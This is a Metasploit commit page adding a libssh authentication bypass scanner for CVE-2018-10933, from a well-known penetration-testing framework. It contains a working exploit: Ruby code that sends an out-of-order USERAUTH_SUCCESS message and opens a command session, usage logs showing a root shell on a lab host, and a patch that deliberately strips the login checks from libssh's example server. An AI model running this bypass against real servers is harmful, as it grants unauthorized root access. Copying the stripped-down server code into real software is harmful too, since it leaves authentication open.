Land #10820, Add libssh authentication bypass scanner/"exploit"

4.x 4.17.19
Brent Cook 2018-10-19 13:57:28 -05:00 committed by Metasploit
parent b9dc8b81aa
commit f88790c2c0
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
4 changed files with 344 additions and 0 deletions

View File

@ -0,0 +1,118 @@
## Intro
This module exploits an authentication bypass in libssh server code
where a `USERAUTH_SUCCESS` message is sent in place of the expected
`USERAUTH_REQUEST` message. Versions 0.6 and later are affected.
Note that this module's success depends on whether the server code
can trigger the correct (`shell`/`exec`) callbacks despite only the state
machine's authenticated state being set.
Therefore, you may or may not get a shell if the server requires
additional code paths to be followed.
## Setup
1. `git clone git://git.libssh.org/projects/libssh.git`
2. `cd libssh` and `git checkout libssh-0.8.3`
3. `patch -p0 < /path/to/metasploit-framework/external/source/libssh/ssh_server_fork.patch`
4. Follow the steps in `INSTALL` to build libssh
5. Run `build/examples/ssh_server_fork` (I like to `strace` it)
## Options
**CMD**
Set this to a command you want to execute in lieu of a standard shell
session. An `exec` channel request will be sent instead of a `shell`
request.
**SPAWN_PTY**
Enable this if you would like a PTY. Some server implementations may
require this. Note that you WILL be logged in `utmp`, `wtmp`, and
`lastlog` in most cases.
**CHECK_BANNER**
This is a banner check for the `libssh` string. It's not sophisticated,
and the banner may be changed, but it may prevent false positives due to
how the OOB authentication packet always returns `true`.
## Usage
Testing against libssh 0.8.3:
```
msf5 > use auxiliary/scanner/ssh/libssh_auth_bypass
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rhosts 172.28.128.3
rhosts => 172.28.128.3
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 2222
rport => 2222
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set spawn_pty true
spawn_pty => true
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set verbose true
verbose => true
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
[*] 172.28.128.3:2222 - Attempting authentication bypass
[*] Command shell session 1 opened (172.28.128.1:56981 -> 172.28.128.3:2222) at 2018-10-19 12:38:24 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > sessions -1
[*] Starting interaction with 1...
# id
id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
uname -a
Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
# tty
tty
/dev/pts/1
#
```
Negative testing against an insufficiently implemented libssh server:
```
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
[*] 172.28.128.3:2222 - Attempting authentication bypass
[-] 172.28.128.3:2222 - shell/exec channel request failed
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
```
Negative testing against OpenSSH:
```
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 22
rport => 22
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
[*] 172.28.128.3:22 - Attempting authentication bypass
[-] 172.28.128.3:22 - SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4 does not appear to be libssh
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
```
Confirming auth is still normally present using the OpenSSH client:
```
wvu@kharak:~$ ssh -vp 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null myuser@172.28.128.3
[snip]
debug1: Authentications that can continue: password
debug1: Next authentication method: password
myuser@172.28.128.3's password: wrongpassword
debug1: Authentications that can continue: password
Permission denied, please try again.
myuser@172.28.128.3's password: mypassword
debug1: Authentication succeeded (password).
Authenticated to 172.28.128.3 ([172.28.128.3]:2222).
[snip]
#
```

View File

@ -0,0 +1,72 @@
--- examples/ssh_server_fork.c.orig 2018-10-17 18:28:06.476708511 +0000
+++ examples/ssh_server_fork.c 2018-10-19 05:45:08.754976769 +0000
@@ -235,8 +235,6 @@
struct session_data_struct {
/* Pointer to the channel the session will allocate. */
ssh_channel channel;
- int auth_attempts;
- int authenticated;
};
static int data_function(ssh_session session, ssh_channel channel, void *data,
@@ -406,8 +404,8 @@
if (cdata->pty_master != -1 && cdata->pty_slave != -1) {
return exec_pty("-l", NULL, cdata);
}
- /* Client requested a shell without a pty, let's pretend we allow that */
- return SSH_OK;
+
+ return exec_nopty("/bin/sh -l", cdata);
}
static int subsystem_request(ssh_session session, ssh_channel channel,
@@ -421,16 +419,13 @@
static int auth_password(ssh_session session, const char *user,
const char *pass, void *userdata) {
- struct session_data_struct *sdata = (struct session_data_struct *) userdata;
-
(void) session;
+ (void) userdata;
if (strcmp(user, USER) == 0 && strcmp(pass, PASS) == 0) {
- sdata->authenticated = 1;
return SSH_AUTH_SUCCESS;
}
- sdata->auth_attempts++;
return SSH_AUTH_DENIED;
}
@@ -496,9 +491,7 @@
/* Our struct holding information about the session. */
struct session_data_struct sdata = {
- .channel = NULL,
- .auth_attempts = 0,
- .authenticated = 0
+ .channel = NULL
};
struct ssh_channel_callbacks_struct channel_cb = {
@@ -530,19 +523,11 @@
ssh_set_auth_methods(session, SSH_AUTH_METHOD_PASSWORD);
ssh_event_add_session(event, session);
- n = 0;
- while (sdata.authenticated == 0 || sdata.channel == NULL) {
- /* If the user has used up all attempts, or if he hasn't been able to
- * authenticate in 10 seconds (n * 100ms), disconnect. */
- if (sdata.auth_attempts >= 3 || n >= 100) {
- return;
- }
-
+ while (sdata.channel == NULL) {
if (ssh_event_dopoll(event, 100) == SSH_ERROR) {
fprintf(stderr, "%s\n", ssh_get_error(session));
return;
}
- n++;
}
ssh_set_channel_callbacks(sdata.channel, &channel_cb);

View File

@ -160,4 +160,32 @@ module Msf::Exploit::Remote::SSH::AuthMethods
end
end
#
# https://tools.ietf.org/rfc/rfc4252.txt
#
class Net::SSH::Authentication::Methods::LibsshAuthBypass < Net::SSH::Authentication::Methods::Abstract
def authenticate(service_name, username, password = nil)
debug { 'Sending SSH_MSG_USERAUTH_SUCCESS' }
# USERAUTH_SUCCESS is OOB and elicits no reply
send_message(Net::SSH::Buffer.from(
=begin
byte SSH_MSG_USERAUTH_SUCCESS
=end
:byte, USERAUTH_SUCCESS
))
# We can't fingerprint or otherwise reduce false positives using a session
# channel open, since most implementations I've seen support only one
# session channel and don't support channel closing, so this would block
# us from getting a shell
#
# Secondly, libssh doesn't send a CHANNEL_OPEN_FAILURE when we're not
# authed, so we have to wait for a timeout on CHANNEL_OPEN to return false
# So assume we succeeded until we can verify
true
end
end
end

View File

@ -0,0 +1,126 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'libssh Authentication Bypass Scanner',
'Description' => %q{
This module exploits an authentication bypass in libssh server code
where a USERAUTH_SUCCESS message is sent in place of the expected
USERAUTH_REQUEST message. Versions 0.6 and later are affected.
Note that this module's success depends on whether the server code
can trigger the correct (shell/exec) callbacks despite only the state
machine's authenticated state being set.
Therefore, you may or may not get a shell if the server requires
additional code paths to be followed.
},
'Author' => [
'Peter Winter-Smith', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2018-10933'],
['URL', 'https://www.libssh.org/security/advisories/CVE-2018-10933.txt']
],
'DisclosureDate' => 'Oct 16 2018',
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(22),
OptString.new('CMD', [false, 'Command to execute']),
OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]),
OptBool.new('CHECK_BANNER', [false, 'Check banner for "libssh"', true])
])
register_advanced_options([
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
])
end
def run_host(ip)
factory = ssh_socket_factory
ssh_opts = {
port: rport,
# The auth method is converted into a class name for instantiation,
# so libssh-auth-bypass here becomes LibsshAuthBypass from the mixin
auth_methods: ['libssh-auth-bypass'],
non_interactive: true,
config: false,
use_agent: false,
verify_host_key: :never,
proxy: factory
}
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
print_status("#{ip}:#{rport} - Attempting authentication bypass")
begin
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(ip, username, ssh_opts)
end
rescue Net::SSH::Exception => e
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
return
end
return unless ssh
version = ssh.transport.server_version.version
# XXX: The OOB authentication leads to false positives, so check banner
if datastore['CHECK_BANNER'] && !version.include?('libssh')
print_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
return
end
report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: version
)
shell = Net::SSH::CommandStream.new(ssh, *config)
# XXX: Wait for CommandStream to log a channel request failure
sleep 0.1
if shell.error
print_error("#{ip}:#{rport} - #{shell.error}")
return
end
start_session(self, "#{self.name} (#{version})", {}, false, shell.lsock)
end
def rport
datastore['RPORT']
end
def username
Rex::Text.rand_text_alphanumeric(8..42)
end
def config
[
datastore['CMD'],
pty: datastore['SPAWN_PTY']
]
end
end